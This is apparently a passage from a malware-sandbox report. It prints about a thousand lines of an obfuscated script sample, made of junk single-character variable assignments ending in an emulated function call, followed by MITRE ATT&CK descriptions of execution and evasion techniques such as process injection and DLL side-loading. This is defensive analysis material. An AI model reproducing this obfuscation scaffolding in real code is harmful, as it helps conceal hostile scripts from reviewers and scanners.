308	nwprktad = "D";
309	nwprktad = " ";
310	svfptqh = "l";
311	svfptqh = "H";
312	svfptqh = "M";
313	svfptqh = "s";
314	svfptqh = "F";
315	svfptqh = "s";
316	svfptqh = "E";
317	svfptqh = "R";
318	svfptqh = "N";
319	svfptqh = "S";
320	svfptqh = "D";
321	svfptqh = "V";
322	svfptqh = "a";
323	svfptqh = "b";
324	svfptqh = "a";
325	svfptqh = "K";
326	svfptqh = "Q";
327	svfptqh = "f";
328	svfptqh = "w";
329	svfptqh = "k";
330	svfptqh = "A";
331	svfptqh = "U";
332	svfptqh = "m";
333	svfptqh = "n";
334	lslairni = "A";
335	lslairni = "L";
336	lslairni = "y";
337	lslairni = "Z";
338	lslairni = "b";
339	lslairni = "c";
340	lslairni = "R";
341	lslairni = "i";
342	lslairni = "m";
343	lslairni = "E";
344	lslairni = "Z";
345	lslairni = "x";
346	lslairni = "M";
347	lslairni = "A";
348	lslairni = "C";
349	lslairni = "c";
350	lslairni = "O";
351	lslairni = "D";
352	lslairni = "q";
353	lslairni = "R";
354	lslairni = "k";
355	lslairni = "U";
356	lslairni = "X";
357	lslairni = "d";
358	lslairni = "O";
359	lslairni = "z";
360	lslairni = "F";
361	lslairni = "U";
362	lslairni = "Y";
363	lslairni = "T";
364	lslairni = "J";
365	lslairni = "H";
366	lslairni = "w";
367	lslairni = "L";
368	lslairni = "k";
369	lslairni = "B";
370	lslairni = "t";
371	lslairni = "m";
372	uzahefexu = "Z";
373	uzahefexu = "O";
374	uzahefexu = "B";
375	uzahefexu = "E";
376	uzahefexu = "o";
377	uzahefexu = "K";
378	uzahefexu = "i";
379	uzahefexu = "p";
380	uzahefexu = "L";
381	uzahefexu = "C";
382	uzahefexu = "J";
383	uzahefexu = "F";
384	uzahefexu = "B";
385	uzahefexu = "I";
386	uzahefexu = "Z";
387	uzahefexu = "e";
388	uzahefexu = "T";
389	uzahefexu = "m";
390	uzahefexu = "p";
391	uzahefexu = "w";
392	uzahefexu = "k";
393	uzahefexu = "c";
394	uzahefexu = "J";
395	uzahefexu = "g";
396	uzahefexu = "i";
397	uzahefexu = "j";
398	uzahefexu = "x";
399	uzahefexu = "C";
400	uzahefexu = "r";
401	uzahefexu = "Y";
402	uzahefexu = "Q";
403	uzahefexu = "r";
404	uzahefexu = "e";
405	uzahefexu = "e";
406	uzahefexu = "y";
407	uzahefexu = "J";
408	uzahefexu = "W";
409	uzahefexu = "p";
410	uzahefexu = "e";
411	uzahefexu = "F";
412	uzahefexu = "Z";
413	uzahefexu = "N";
414	uzahefexu = "b";
415	tfufemkfw = "C";
416	tfufemkfw = "u";
417	tfufemkfw = "A";
418	tfufemkfw = "W";
419	tfufemkfw = "N";
420	tfufemkfw = "W";
421	tfufemkfw = "z";
422	tfufemkfw = "Z";
423	tfufemkfw = "T";
424	tfufemkfw = "V";
425	tfufemkfw = "o";
426	tfufemkfw = "U";
427	tfufemkfw = "R";
428	tfufemkfw = "H";
429	tfufemkfw = "l";
430	tfufemkfw = "t";
431	tfufemkfw = "z";
432	tfufemkfw = "c";
433	tfufemkfw = "Q";
434	tfufemkfw = "j";
435	tfufemkfw = "r";
436	hkmoremj = "R";
437	hkmoremj = "m";
438	hkmoremj = "n";
439	hkmoremj = "P";
440	hkmoremj = "R";
441	hkmoremj = "R";
442	hkmoremj = "y";
443	hkmoremj = "e";
444	hkmoremj = "A";
445	hkmoremj = "j";
446	hkmoremj = "O";
447	hkmoremj = "l";
448	hkmoremj = "Y";
449	hkmoremj = "P";
450	hkmoremj = "e";
451	hkmoremj = "H";
452	hkmoremj = "k";
453	hkmoremj = "k";
454	hkmoremj = "V";
455	hkmoremj = "U";
456	hkmoremj = "T";
457	hkmoremj = "C";
458	hkmoremj = "J";
459	hkmoremj = "m";
460	hkmoremj = "F";
461	hkmoremj = "o";
462	hkmoremj = "s";
463	hkmoremj = "P";
464	hkmoremj = "c";
465	hkmoremj = "z";
466	hkmoremj = "O";
467	hkmoremj = "V";
468	hkmoremj = "N";
469	hkmoremj = "H";
470	hkmoremj = "q";
471	hkmoremj = "O";
472	hkmoremj = "G";
473	hkmoremj = "Q";
474	efjkrd = "Q";
475	efjkrd = "B";
476	efjkrd = "a";
477	efjkrd = "T";
478	efjkrd = "U";
479	efjkrd = "q";
480	efjkrd = "R";
481	efjkrd = "G";
482	efjkrd = "q";
483	efjkrd = "U";
484	efjkrd = "U";
485	efjkrd = "w";
486	efjkrd = "O";
487	efjkrd = "D";
488	efjkrd = "p";
489	efjkrd = "s";
490	efjkrd = "T";
491	efjkrd = "n";
492	efjkrd = "f";
493	efjkrd = "S";
494	efjkrd = "l";
495	efjkrd = "D";
496	efjkrd = "f";
497	efjkrd = "S";
498	efjkrd = "P";
499	xyngdrgg = "K";
500	xyngdrgg = "w";
501	xyngdrgg = "w";
502	xyngdrgg = "D";
503	xyngdrgg = "N";
504	xyngdrgg = "o";
505	xyngdrgg = "S";
506	xyngdrgg = "A";
507	xyngdrgg = "K";
508	xyngdrgg = "v";
509	xyngdrgg = "A";
510	xyngdrgg = "U";
511	xyngdrgg = "1";
512	ycbxfgqj = "R";
513	ycbxfgqj = "r";
514	ycbxfgqj = "h";
515	ycbxfgqj = "s";
516	ycbxfgqj = "v";
517	ycbxfgqj = "G";
518	ycbxfgqj = "N";
519	ycbxfgqj = "J";
520	ycbxfgqj = "v";
521	yknhu = "H";
522	yknhu = "E";
523	yknhu = "f";
524	yknhu = "g";
525	yknhu = "K";
526	yknhu = "s";
527	yknhu = "J";
528	yknhu = "c";
529	yknhu = "j";
530	dcgrybx = "l";
531	dcgrybx = "t";
532	dcgrybx = "c";
533	dcgrybx = "N";
534	dcgrybx = "H";
535	dcgrybx = "J";
536	dcgrybx = "E";
537	dcgrybx = "G";
538	dcgrybx = "b";
539	dcgrybx = "D";
540	dcgrybx = "Q";
541	dcgrybx = "E";
542	dcgrybx = "o";
543	dcgrybx = "g";
544	dcgrybx = "V";
545	dcgrybx = "Y";
546	dcgrybx = "I";
547	dcgrybx = "B";
548	dcgrybx = "H";
549	dcgrybx = "B";
550	dcgrybx = "k";
551	dcgrybx = "O";
552	dcgrybx = "u";
553	dcgrybx = "V";
554	dcgrybx = "W";
555	dcgrybx = "F";
556	dcgrybx = "O";
557	dcgrybx = "R";
558	dcgrybx = "H";
559	dcgrybx = "C";
560	dcgrybx = "z";
561	dcgrybx = "Y";
562	dcgrybx = "X";
563	dcgrybx = "N";
564	dcgrybx = "u";
565	dcgrybx = "w";
566	wniosjqo = "O";
567	wniosjqo = "H";
568	wniosjqo = "l";
569	wniosjqo = "C";
570	wniosjqo = "i";
571	wniosjqo = "l";
572	wniosjqo = "P";
573	wniosjqo = "Z";
574	wniosjqo = "Y";
575	wniosjqo = "2";
576	ufyuoxnuf = "b";
577	ufyuoxnuf = "l";
578	ufyuoxnuf = "u";
579	ufyuoxnuf = "J";
580	ufyuoxnuf = "I";
581	ufyuoxnuf = "u";
582	ufyuoxnuf = "m";
583	ufyuoxnuf = "p";
584	ufyuoxnuf = "v";
585	ufyuoxnuf = "c";
586	ufyuoxnuf = "H";
587	ufyuoxnuf = "c";
588	ufyuoxnuf = "N";
589	ufyuoxnuf = "r";
590	ufyuoxnuf = "I";
591	bjlefok = "L";
592	bjlefok = "m";
593	bjlefok = "U";
594	bjlefok = "p";
595	bjlefok = "H";
596	bjlefok = "w";
597	bjlefok = "x";
598	bjlefok = "D";
599	bjlefok = "z";
600	bjlefok = "a";
601	bjlefok = "q";
602	bjlefok = "M";
603	bjlefok = "X";
604	bjlefok = "Y";
605	bjlefok = "j";
606	bjlefok = "Y";
607	bjlefok = "y";
608	bjlefok = "G";
609	bjlefok = "o";
610	bjlefok = "g";
611	bjlefok = "B";
612	bjlefok = "J";
613	bjlefok = "R";
614	bjlefok = "v";
615	bjlefok = "L";
616	bjlefok = "D";
617	bjlefok = "q";
618	bjlefok = "K";
619	bjlefok = "F";
620	bjlefok = "V";
621	bjlefok = "u";
622	bjlefok = "o";
623	bjlefok = "K";
624	bjlefok = "N";
625	bjlefok = "E";
626	bjlefok = "Z";
627	bjlefok = "t";
628	bjlefok = "z";
629	bjlefok = "S";
630	dxsbx = "l";
631	dxsbx = "I";
632	dxsbx = "X";
633	dxsbx = "G";
634	dxsbx = "I";
635	dxsbx = "J";
636	dxsbx = "o";
637	dxsbx = "P";
638	dxsbx = "f";
639	dxsbx = "B";
640	dxsbx = "s";
641	dxsbx = "B";
642	dxsbx = "z";
643	dxsbx = "u";
644	dxsbx = "Y";
645	dxsbx = "J";
646	dxsbx = "q";
647	dxsbx = "F";
648	sosye = "H";
649	sosye = "D";
650	sosye = "h";
651	sosye = "x";
652	sosye = "T";
653	sosye = "Z";
654	sosye = "W";
655	sosye = "h";
656	sosye = "d";
657	sosye = "N";
658	sosye = "b";
659	sosye = "x";
660	sosye = "j";
661	sosye = "M";
662	sosye = "r";
663	sosye = "L";
664	sosye = "j";
665	sosye = "n";
666	sosye = "T";
667	sosye = "7";
668	vfbkks = "r";
669	vfbkks = "q";
670	vfbkks = "m";
671	vfbkks = "x";
672	vfbkks = "a";
673	vfbkks = "j";
674	vfbkks = "D";
675	vfbkks = "L";
676	vfbkks = "\\";
677	ycmlya = "k";
678	rgmpegred = "s";
679	rgmpegred = "m";
680	rgmpegred = "U";
681	rgmpegred = "e";
682	eljfk = "l";
683	mofoo = "s";
684	mofoo = "O";
685	mofoo = "a";
686	mofoo = "k";
687	mofoo = "q";
688	mofoo = "L";
689	mofoo = "M";
690	mofoo = "i";
691	mofoo = "x";
692	mofoo = "U";
693	mofoo = "J";
694	mofoo = "B";
695	mofoo = "i";
696	mofoo = "x";
697	mofoo = "D";
698	mofoo = "J";
699	mofoo = "V";
700	mofoo = "M";
701	mofoo = "H";
702	hwmhwppk = "o";
703	hwmhwppk = "V";
704	hwmhwppk = "v";
705	hwmhwppk = "y";
706	hwmhwppk = "S";
707	hwmhwppk = "U";
708	hwmhwppk = "X";
709	hwmhwppk = "w";
710	hwmhwppk = "P";
711	hwmhwppk = "a";
712	hwmhwppk = "I";
713	hwmhwppk = "l";
714	hwmhwppk = "D";
715	hwmhwppk = "x";
716	hwmhwppk = "p";
717	hwmhwppk = "U";
718	hwmhwppk = "I";
719	hwmhwppk = "O";
720	hwmhwppk = "T";
721	hwmhwppk = "W";
722	hwmhwppk = "k";
723	hwmhwppk = "p";
724	hwmhwppk = "i";
725	hwmhwppk = "Y";
726	hwmhwppk = "Q";
727	hwmhwppk = "M";
728	hwmhwppk = "A";
729	hwmhwppk = "O";
730	hwmhwppk = "m";
731	hwmhwppk = "U";
732	hwmhwppk = "T";
733	hwmhwppk = "3";
734	zpbsszb = "z";
735	zpbsszb = "d";
736	zpbsszb = "d";
737	zpbsszb = "q";
738	zpbsszb = "N";
739	zpbsszb = "B";
740	zpbsszb = "L";
741	zpbsszb = "r";
742	zpbsszb = "@";
743	bcjez = "T";
744	bcjez = "m";
745	bcjez = "S";
746	bcjez = "E";
747	bcjez = "P";
748	bcjez = "G";
749	bcjez = "x";
750	bcjez = "Y";
751	bcjez = "u";
752	bcjez = "n";
753	bcjez = "j";
754	bcjez = "G";
755	bcjez = "Q";
756	bcjez = "d";
757	bcjez = "z";
758	bcjez = "A";
759	bcjez = "Q";
760	bcjez = "g";
761	bcjez = "q";
762	bcjez = "C";
763	bcjez = "a";
764	uxqibde = "c";
765	uxqibde = "V";
766	uxqibde = "u";
767	uxqibde = "g";
768	uxqibde = "B";
769	uxqibde = "f";
770	uxqibde = "j";
771	uxqibde = "b";
772	uxqibde = "F";
773	uxqibde = "K";
774	dzxjdwb = "h";
775	dzxjdwb = "M";
776	dzxjdwb = "F";
777	dzxjdwb = "i";
778	dzxjdwb = "J";
779	dzxjdwb = "D";
780	dzxjdwb = "n";
781	dzxjdwb = "I";
782	dzxjdwb = "j";
783	dzxjdwb = "H";
784	dzxjdwb = "M";
785	dzxjdwb = "F";
786	dzxjdwb = "l";
787	dzxjdwb = "x";
788	dzxjdwb = "r";
789	dzxjdwb = "c";
790	dzxjdwb = "y";
791	dzxjdwb = "x";
792	dzxjdwb = "j";
793	dzxjdwb = "n";
794	dzxjdwb = "e";
795	dzxjdwb = "j";
796	dzxjdwb = "M";
797	dzxjdwb = "h";
798	ruakyvqma = "q";
799	ruakyvqma = "f";
800	ruakyvqma = "h";
801	ruakyvqma = "a";
802	ruakyvqma = "l";
803	ruakyvqma = "K";
804	ruakyvqma = "C";
805	ruakyvqma = "z";
806	ruakyvqma = "y";
807	ruakyvqma = "B";
808	ruakyvqma = "r";
809	ruakyvqma = "c";
810	ruakyvqma = "z";
811	ruakyvqma = "J";
812	ruakyvqma = "p";
813	ruakyvqma = "J";
814	ruakyvqma = "W";
815	ruakyvqma = "i";
816	ruakyvqma = "q";
817	ruakyvqma = "J";
818	ruakyvqma = "i";
819	ruakyvqma = "c";
820	ruakyvqma = "y";
821	ruakyvqma = "y";
822	ruakyvqma = "i";
823	ruakyvqma = "C";
824	ruakyvqma = "N";
825	ruakyvqma = "i";
826	ruakyvqma = "O";
827	ruakyvqma = "e";
828	ruakyvqma = "c";
829	ruakyvqma = "J";
830	ruakyvqma = "g";
831	ruakyvqma = "L";
832	ruakyvqma = "E";
833	ruakyvqma = "Y";
834	ruakyvqma = "G";
835	ruakyvqma = "G";
836	ruakyvqma = "A";
837	ruakyvqma = "J";
838	ruakyvqma = "Y";
839	ruakyvqma = "k";
840	ruakyvqma = "f";
841	ruakyvqma = "o";
842	kaoyb = "j";
843	kaoyb = "v";
844	kaoyb = "m";
845	kaoyb = "v";
846	kaoyb = "h";
847	kaoyb = "I";
848	kaoyb = "/";
849	zulityp = "H";
850	zulityp = "M";
851	zulityp = "t";
852	zulityp = "l";
853	zulityp = "w";
854	zulityp = "u";
855	zulityp = "Z";
856	zulityp = "a";
857	zulityp = "i";
858	zulityp = "u";
859	zulityp = "I";
860	zulityp = "q";
861	zulityp = "l";
862	zulityp = "t";
863	zulityp = "s";
864	zulityp = "i";
865	zulityp = "b";
866	zulityp = "U";
867	zulityp = "M";
868	zulityp = "r";
869	zulityp = "v";
870	zulityp = "M";
871	zulityp = "B";
872	zulityp = "c";
873	zulityp = "N";
874	zulityp = "V";
875	zulityp = "e";
876	zulityp = "Y";
877	zulityp = "s";
878	zulityp = "W";
879	zulityp = "p";
880	misajks = "b";
881	misajks = "D";
882	misajks = "S";
883	misajks = "S";
884	misajks = "H";
885	misajks = "c";
886	misajks = "N";
887	misajks = "D";
888	misajks = "r";
889	misajks = "R";
890	misajks = "b";
891	misajks = "K";
892	misajks = "g";
893	misajks = "D";
894	misajks = "q";
895	misajks = "t";
896	misajks = "o";
897	misajks = "M";
898	misajks = "E";
899	misajks = "a";
900	misajks = "x";
901	misajks = "s";
902	misajks = "O";
903	misajks = "d";
904	misajks = "x";
905	xscuy = "J";
906	xscuy = "j";
907	xscuy = "R";
908	xscuy = "M";
909	xscuy = "O";
910	xscuy = "w";
911	xscuy = "Z";
912	xscuy = "t";
913	umvrcbvn = "T";
914	umvrcbvn = "f";
915	umvrcbvn = "H";
916	umvrcbvn = "G";
917	umvrcbvn = "v";
918	umvrcbvn = "z";
919	umvrcbvn = "m";
920	umvrcbvn = "a";
921	umvrcbvn = "f";
922	umvrcbvn = "q";
923	umvrcbvn = "F";
924	umvrcbvn = "y";
925	umvrcbvn = "S";
926	umvrcbvn = "o";
927	umvrcbvn = "P";
928	umvrcbvn = "t";
929	umvrcbvn = "C";
930	umvrcbvn = "I";
931	umvrcbvn = "T";
932	umvrcbvn = "w";
933	umvrcbvn = "x";
934	umvrcbvn = "d";
935	umvrcbvn = "_";
936	pkcmjknz = "B";
937	pkcmjknz = "q";
938	pkcmjknz = "B";
939	pkcmjknz = "U";
940	pkcmjknz = "G";
941	pkcmjknz = "S";
942	pkcmjknz = "s";
943	pkcmjknz = "o";
944	pkcmjknz = "S";
945	pkcmjknz = "b";
946	pkcmjknz = "E";
947	pkcmjknz = "R";
948	pkcmjknz = "X";
949	pkcmjknz = "T";
950	pkcmjknz = "c";
951	pkcmjknz = "E";
952	pkcmjknz = "h";
953	pkcmjknz = "Z";
954	pkcmjknz = "t";
955	pkcmjknz = "L";
956	pkcmjknz = "Z";
957	pkcmjknz = "W";
958	pkcmjknz = "C";
959	pkcmjknz = "Q";
960	pkcmjknz = "v";
961	pkcmjknz = "h";
962	pkcmjknz = "T";
963	pkcmjknz = "R";
964	pkcmjknz = "D";
965	pkcmjknz = "N";
966	pkcmjknz = "I";
967	pkcmjknz = "c";
968	pkcmjknz = "d";
969	sgmiqjifc = "A";
970	sgmiqjifc = "A";
971	sgmiqjifc = "q";
972	sgmiqjifc = "P";
973	sgmiqjifc = "h";
974	sgmiqjifc = "c";
975	sgmiqjifc = "d";
976	sgmiqjifc = "d";
977	sgmiqjifc = "c";
978	sgmiqjifc = "w";
979	sgmiqjifc = "M";
980	sgmiqjifc = "N";
981	sgmiqjifc = "H";
982	sgmiqjifc = "h";
983	sgmiqjifc = "D";
984	sgmiqjifc = "p";
985	sgmiqjifc = "n";
986	sgmiqjifc = "t";
987	sgmiqjifc = "q";
988	sgmiqjifc = "d";
989	sgmiqjifc = "k";
990	sgmiqjifc = "p";
991	sgmiqjifc = "-";
992	okorig = "e";
993	okorig = "f";
994	okorig = "u";
995	okorig = "G";
996	okorig = "w";
997	okorig = "J";
998	okorig = "U";
999	okorig = "X";
1000	okorig = "T";
1001	okorig = "k";
1002	okorig = "L";
1003	okorig = "X";
1004	okorig = "G";
1005	okorig = "O";
1006	okorig = "c";
1007	okorig = "j";
1008	okorig = "B";
1009	okorig = "c";
1010	okorig = "k";
1011	okorig = "G";
1012	okorig = "G";
1013	okorig = "B";
1014	okorig = "Z";
1015	okorig = "Y";
1016	okorig = "C";
1017	okorig = "y";
1018	okorig = "U";
1019	okorig = "f";
1020	okorig = "r";
1021	okorig = "0";
1022	yacgqarc = "r";
1023	yacgqarc = "F";
1024	yacgqarc = "u";
1025	yacgqarc = "c";
1026	yacgqarc = "C";
1027	yacgqarc = "M";
1028	yacgqarc = "j";
1029	yacgqarc = "Q";
1030	yacgqarc = "V";
1031	yacgqarc = "y";
1032	yacgqarc = "H";
1033	yacgqarc = "R";
1034	yacgqarc = "f";
1035	yacgqarc = "X";
1036	yacgqarc = "I";
1037	yacgqarc = "B";
1038	yacgqarc = "u";
1039	yacgqarc = "O";
1040	yacgqarc = "j";
1041	yacgqarc = "T";
1042	yacgqarc = "l";
1043	yacgqarc = "k";
1044	yacgqarc = "H";
1045	yacgqarc = "D";
1046	yacgqarc = "J";
1047	yacgqarc = "S";
1048	yacgqarc = "r";
1049	yacgqarc = "F";
1050	yacgqarc = "S";
1051	yacgqarc = "X";
1052	yacgqarc = "w";
1053	yacgqarc = "J";
1054	yacgqarc = "b";
1055	yacgqarc = "K";
1056	yacgqarc = "q";
1057	yacgqarc = "f";
1058	yacgqarc = "B";
1059	yacgqarc = "O";
1060	yacgqarc = "l";
1061	yacgqarc = "X";
1062	yacgqarc = "D";
1063	yacgqarc = "q";
1064	ykerppvgc = "C";
1065	ykerppvgc = "C";
1066	ykerppvgc = "x";
1067	ykerppvgc = "T";
1068	ykerppvgc = "D";
1069	ykerppvgc = "l";
1070	ykerppvgc = "i";
1071	ykerppvgc = "D";
1072	ykerppvgc = "T";
1073	ykerppvgc = "n";
1074	ykerppvgc = "X";
1075	ykerppvgc = "w";
1076	ykerppvgc = "V";
1077	ykerppvgc = "y";
1078	ykerppvgc = "V";
1079	ykerppvgc = "z";
1080	ykerppvgc = "i";
1081	ykerppvgc = "T";
1082	ykerppvgc = "k";
1083	ykerppvgc = "D";
1084	ykerppvgc = "y";
1085	ykerppvgc = "P";
1086	ykerppvgc = "p";
1087	ykerppvgc = "B";
1088	ykerppvgc = "Z";
1089	ykerppvgc = "f";
1090	ykerppvgc = "H";
1091	ykerppvgc = "\"";
1092	czqdcwr = "q";
1093	czqdcwr = "h";
1094	czqdcwr = "h";
1095	czqdcwr = "o";
1096	czqdcwr = "o";
1097	czqdcwr = "D";
1098	czqdcwr = "F";
1099	czqdcwr = "Z";
1100	czqdcwr = "W";
1101	zssakea = "Z";
1102	zssakea = "p";
1103	zssakea = "q";
1104	zssakea = "f";
1105	zssakea = "F";
1106	zssakea = "K";
1107	zssakea = "A";
1108	zssakea = "x";
1109	zssakea = "%";
1110	gonpp = "a";
1111	gonpp = "z";
1112	gonpp = "t";
1113	gonpp = "E";
1114	gonpp = "p";
1115	gonpp = "y";
1116	gonpp = "w";
1117	gonpp = "Q";
1118	gonpp = "h";
1119	gonpp = "h";
1120	gonpp = "o";
1121	gonpp = "v";
1122	gonpp = "Y";
1123	gonpp = "R";
1124	gonpp = "P";
1125	gonpp = "S";
1126	gonpp = "v";
1127	gonpp = "S";
1128	gonpp = "h";
1129	gonpp = "S";
1130	gonpp = "e";
1131	gonpp = "R";
1132	gonpp = "F";
1133	gonpp = "q";
1134	gonpp = "Q";
1135	gonpp = "t";
1136	gonpp = "D";
1137	gonpp = "G";
1138	gonpp = "M";
1139	gonpp = "D";
1140	gonpp = "l";
1141	gonpp = "o";
1142	gonpp = "F";
1143	gonpp = "U";
1144	gonpp = "T";
1145	gonpp = "i";
1146	gonpp = "Z";
1147	gonpp = "b";
1148	gonpp = "A";
1149	gonpp = "9";
1150	zllgx = "g";
1151	zllgx = "P";
1152	zllgx = "f";
1153	zllgx = "y";
1154	zllgx = "J";
1155	zllgx = "S";
1156	zllgx = "t";
1157	zllgx = "v";
1158	zllgx = "D";
1159	zllgx = "Q";
1160	zllgx = "F";
1161	zllgx = "Z";
1162	zllgx = "N";
1163	zllgx = "V";
1164	zllgx = "s";
1165	ggsertmi = "v";
1166	ggsertmi = "P";
1167	ggsertmi = "r";
1168	ggsertmi = "E";
1169	ggsertmi = "T";
1170	ggsertmi = "M";
1171	ggsertmi = "J";
1172	ggsertmi = "v";
1173	ggsertmi = "E";
1174	ggsertmi = "p";
1175	ggsertmi = "Y";
1176	ggsertmi = "E";
1177	ggsertmi = "k";
1178	ggsertmi = "h";
1179	ggsertmi = "b";
1180	ggsertmi = "v";
1181	ggsertmi = "P";
1182	ggsertmi = "J";
1183	ggsertmi = "z";
1184	ggsertmi = "K";
1185	ggsertmi = "A";
1186	ggsertmi = "S";
1187	ggsertmi = "x";
1188	ggsertmi = "H";
1189	ggsertmi = "Q";
1190	ggsertmi = "h";
1191	ggsertmi = "l";
1192	ggsertmi = "E";
1193	ggsertmi = "G";
1194	ggsertmi = "R";
1195	ggsertmi = "m";
1196	ggsertmi = "f";
1197	ggsertmi = "N";
1198	ggsertmi = "E";
1199	ggsertmi = "A";
1200	ggsertmi = "g";
1201	sxwquf = "x";
1202	sxwquf = "M";
1203	sxwquf = "f";
1204	sxwquf = "P";
1205	sxwquf = "m";
1206	sxwquf = "N";
1207	sxwquf = "T";
1208	sxwquf = "U";
1209	sxwquf = "i";
1210	sxwquf = "l";
1211	sxwquf = "I";
1212	sxwquf = "M";
1213	sxwquf = "m";
1214	sxwquf = "O";
1215	sxwquf = "L";
1216	sxwquf = "E";
1217	sxwquf = "K";
1218	sxwquf = "T";
1219	sxwquf = "E";
1220	gvjmoyrf = "t";
1221	gvjmoyrf = "d";
1222	gvjmoyrf = "q";
1223	gvjmoyrf = "A";
1224	gvjmoyrf = "N";
1225	gvjmoyrf = "u";
1226	gvjmoyrf = "O";
1227	gvjmoyrf = "P";
1228	gvjmoyrf = "A";
1229	gvjmoyrf = "n";
1230	gvjmoyrf = "c";
1231	gvjmoyrf = "h";
1232	gvjmoyrf = "e";
1233	gvjmoyrf = "d";
1234	gvjmoyrf = "A";
1235	gvjmoyrf = "f";
1236	gvjmoyrf = "P";
1237	gvjmoyrf = "N";
1238	gvjmoyrf = "r";
1239	gvjmoyrf = "J";
1240	gvjmoyrf = "m";
1241	gvjmoyrf = "C";
1242	gvjmoyrf = "R";
1243	gvjmoyrf = "E";
1244	gvjmoyrf = "A";
1245	gvjmoyrf = "b";
1246	gvjmoyrf = "x";
1247	gvjmoyrf = "M";
1248	gvjmoyrf = "f";
1249	gvjmoyrf = "S";
1250	gvjmoyrf = "N";
1251	gvjmoyrf = "p";
1252	gvjmoyrf = "K";
1253	gvjmoyrf = "B";
1254	gvjmoyrf = "O";
1255	gvjmoyrf = "e";
1256	gvjmoyrf = "G";
1257	gvjmoyrf = "s";
1258	gvjmoyrf = "j";
1259	gvjmoyrf = "j";
1260	gvjmoyrf = "I";
1261	gvjmoyrf = "W";
1262	gvjmoyrf = "h";
1263	gvjmoyrf = "c";
1264	ebedkqke = "d";
1265	ebedkqke = "Y";
1266	ebedkqke = "f";
1267	ebedkqke = "t";
1268	ebedkqke = "I";
1269	ebedkqke = "C";
1270	ebedkqke = "d";
1271	ebedkqke = "O";
1272	ebedkqke = "x";
1273	ebedkqke = "D";
1274	ebedkqke = "g";
1275	ebedkqke = "U";
1276	ebedkqke = "X";
1277	ebedkqke = "O";
1278	ebedkqke = "z";
1279	ebedkqke = "j";
1280	ebedkqke = "C";
1281	ebedkqke = "v";
1282	ebedkqke = "s";
1283	ebedkqke = "Z";
1284	ebedkqke = "c";
1285	ebedkqke = "p";
1286	ebedkqke = "r";
1287	ebedkqke = "P";
1288	ebedkqke = "l";
1289	ebedkqke = "k";
1290	ebedkqke = "U";
1291	ebedkqke = "A";
1292	ebedkqke = "E";
1293	ebedkqke = "z";
1294	ebedkqke = "Z";
1295	ebedkqke = "j";
1296	ebedkqke = "N";
1297	ebedkqke = "W";
1298	ebedkqke = "D";
1299	ebedkqke = "C";
1300	ebedkqke = "c";
1301	ebedkqke = "n";
1302	ebedkqke = "y";
1303	ebedkqke = "D";
1304	ebedkqke = "C";
1305	appjv ( );	appjv() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

